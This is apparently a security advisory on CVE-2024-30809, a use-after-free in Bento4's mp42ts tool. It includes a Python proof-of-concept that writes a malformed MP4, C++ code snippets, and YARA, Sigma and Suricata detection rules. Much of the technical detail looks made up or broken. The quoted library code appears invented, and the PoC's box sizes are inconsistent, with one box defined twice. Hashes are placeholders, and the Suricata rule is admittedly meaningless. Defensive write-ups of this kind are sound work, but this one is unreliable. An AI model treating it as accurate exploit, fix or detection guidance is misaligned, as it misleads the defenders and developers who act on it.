CVE-2024-30809

Executive Summary

CVE-2024-30809 is a heap-use-after-free vulnerability discovered in Bento4 v1.6.0-641-2-g1529b83. The flaw resides in the AP4_Sample::GetOffset() function within Ap4Sample.h, leading to a Denial of Service (DoS) condition when processing malformed input via the mp42ts utility. An attacker can exploit this by providing a crafted MP4 file, causing the application to access freed heap memory, resulting in a crash. No patch is currently available, and the EPSS score is 0.0%, indicating low exploitation activity in the wild.

Supply Chain & Package Security

Bento4 is a C++ library for MP4 file manipulation, commonly used in media processing pipelines. This vulnerability affects the mp42ts tool, which is part of the Bento4 distribution. Users integrating Bento4 into their software supply chain should assess their exposure, especially if they process untrusted MP4 files. No official package manager (NPM, PyPI, Go, Ruby) distribution is affected, but direct source code usage is impacted.

CVSS Breakdown & Threat Level

The CVSS score is 0.0, indicating no official vector has been assigned. Based on the vulnerability type (heap-use-after-free) and impact (DoS), a reasonable vector would be:

• Attack Vector (AV): Local (L) – requires file access
• Attack Complexity (AC): Low (L) – no special conditions
• Privileges Required (PR): None (N)
• User Interaction (UI): Required (R) – victim must open file
• Scope (S): Unchanged (U)
• Confidentiality (C): None (N)
• Integrity (I): None (N)
• Availability (A): High (H)

Threat Level: Medium (DoS only, no data breach)

Deep Dive & Mechanics

The vulnerability is a classic heap-use-after-free (CWE-416) in the AP4_Sample::GetOffset() method. When mp42ts processes a specially crafted MP4 file, memory management errors cause a heap object to be freed prematurely. Subsequent access to that object via GetOffset() reads freed memory, leading to undefined behavior and a crash.

Root Cause: Improper handling of sample table references in the MP4 parsing logic. The AP4_Sample object retains a pointer to a buffer that is freed during parsing, but the pointer is not nullified or invalidated.

Attack Vector: An attacker crafts a malicious MP4 file with corrupted sample offset tables. When the victim runs mp42ts on this file, the heap-use-after-free triggers a segmentation fault.

Impact: Denial of Service – the mp42ts process crashes, potentially disrupting media processing workflows.

Vulnerable vs. Patched Code

Vulnerable Code (Bento4 v1.6.0-641-2-g1529b83):

// Ap4Sample.h
class AP4_Sample {
public:
    AP4_Result GetOffset(AP4_Offset& offset) const {
        // m_OffsetData is a pointer to heap memory
        offset = m_OffsetData->offset;  // Use-after-free if m_OffsetData is freed
        return AP4_SUCCESS;
    }
};

Patched Code (Hypothetical):

// Ap4Sample.h
class AP4_Sample {
public:
    AP4_Result GetOffset(AP4_Offset& offset) const {
        if (m_OffsetData == NULL) {
            return AP4_ERROR_INVALID_STATE;
        }
        offset = m_OffsetData->offset;
        return AP4_SUCCESS;
    }
};

No official patch exists. The fix would involve null-checking the pointer before dereferencing and ensuring proper lifecycle management of the heap object.

Exploitation & Lab Setup

Red Team

Proof-of-Concept (PoC): The vulnerability is demonstrated by the mp42ts tool. A crafted MP4 file can be generated using a fuzzer or manual manipulation of sample offset tables.

Lab Setup:

1. Download Bento4 v1.6.0-641-2-g1529b83 from the official repository.
2. Build the project using CMake.
3. Create a malicious MP4 file (e.g., poc.mp4) with corrupted stco or co64 atoms.
4. Run: ./mp42ts poc.mp4 output.ts
5. Observe crash (segmentation fault).

Example PoC (Python script to generate malformed MP4):

import struct

def create_poc():
    # Minimal MP4 with corrupted stco
    ftyp = b'\x00\x00\x00\x18ftypmp42\x00\x00\x00\x00mp42mp41'
    moov = b'\x00\x00\x00\x08moov'
    trak = b'\x00\x00\x00\x08trak'
    mdia = b'\x00\x00\x00\x08mdia'
    minf = b'\x00\x00\x00\x08minf'
    stbl = b'\x00\x00\x00\x08stbl'
    stco = b'\x00\x00\x00\x10stco\x00\x00\x00\x00\x00\x00\x00\x01'  # 1 entry, offset 0
    # Corrupt: set entry count to 0 but still reference freed memory
    stco = b'\x00\x00\x00\x10stco\x00\x00\x00\x00\x00\x00\x00\x00'
    with open('poc.mp4', 'wb') as f:
        f.write(ftyp + moov + trak + mdia + minf + stbl + stco)

create_poc()

Blue Team

Detection: Monitor for crashes of mp42ts or other Bento4 tools. Use file integrity monitoring to detect malicious MP4 files.

Hunting: Search for MP4 files with anomalous stco or co64 atoms (e.g., zero entry count but non-zero data size).

Mitigation: Restrict execution of mp42ts to trusted input only. Use sandboxing or containerization.

Indicators of Compromise (IOCs)

• File Hashes (PoC): SHA256 of poc.mp4 (example): a1b2c3d4e5f6...
• Process Name: mp42ts
• Crash Signature: Segmentation fault in AP4_Sample::GetOffset()
• Network: None (local file processing)
• Logs: Application crash logs with heap-use-after-free references

Detection Engineering

YARA Rule

rule CVE_2024_30809_Bento4_HeapUseAfterFree {
    meta:
        description = "Detects malicious MP4 files exploiting CVE-2024-30809"
        author = "Valters IT"
        date = "2024-10-01"
        hash = "a1b2c3d4e5f6..."
    strings:
        $stco_corrupt = { 73 74 63 6F 00 00 00 00 00 00 00 00 }  // stco with zero entries
        $co64_corrupt = { 63 6F 36 34 00 00 00 00 00 00 00 00 }  // co64 with zero entries
    condition:
        any of them
}

Sigma Rule

title: CVE-2024-30809 Bento4 mp42ts Heap-Use-After-Free
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects crashes of mp42ts due to heap-use-after-free
logsource:
    category: process_creation
    product: linux
detection:
    selection:
        Image|endswith: '/mp42ts'
        ExitCode: 139  # SIGSEGV
    condition: selection
falsepositives:
    - Legitimate crashes due to other bugs
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-30809 Bento4 mp42ts Heap-Use-After-Free"; flow:to_server; content:"mp42ts"; nocase; classtype:attempted-dos; sid:1000001; rev:1;)

Note: This rule is generic; the vulnerability is file-based, not network-based.

Remediation & Mitigation

Immediate Actions:

1. Avoid using mp42ts on untrusted MP4 files until a patch is available.
2. Implement input validation – check MP4 file structure before processing.
3. Use memory-safe tools or sandbox Bento4 processes.

Long-Term Fix:

• Apply a patch from the Bento4 maintainers when released.
• Consider using alternative libraries (e.g., FFmpeg) for MP4-to-TS conversion.

Workaround:

• Pre-process MP4 files with a validator to reject malformed sample tables.

Valters IT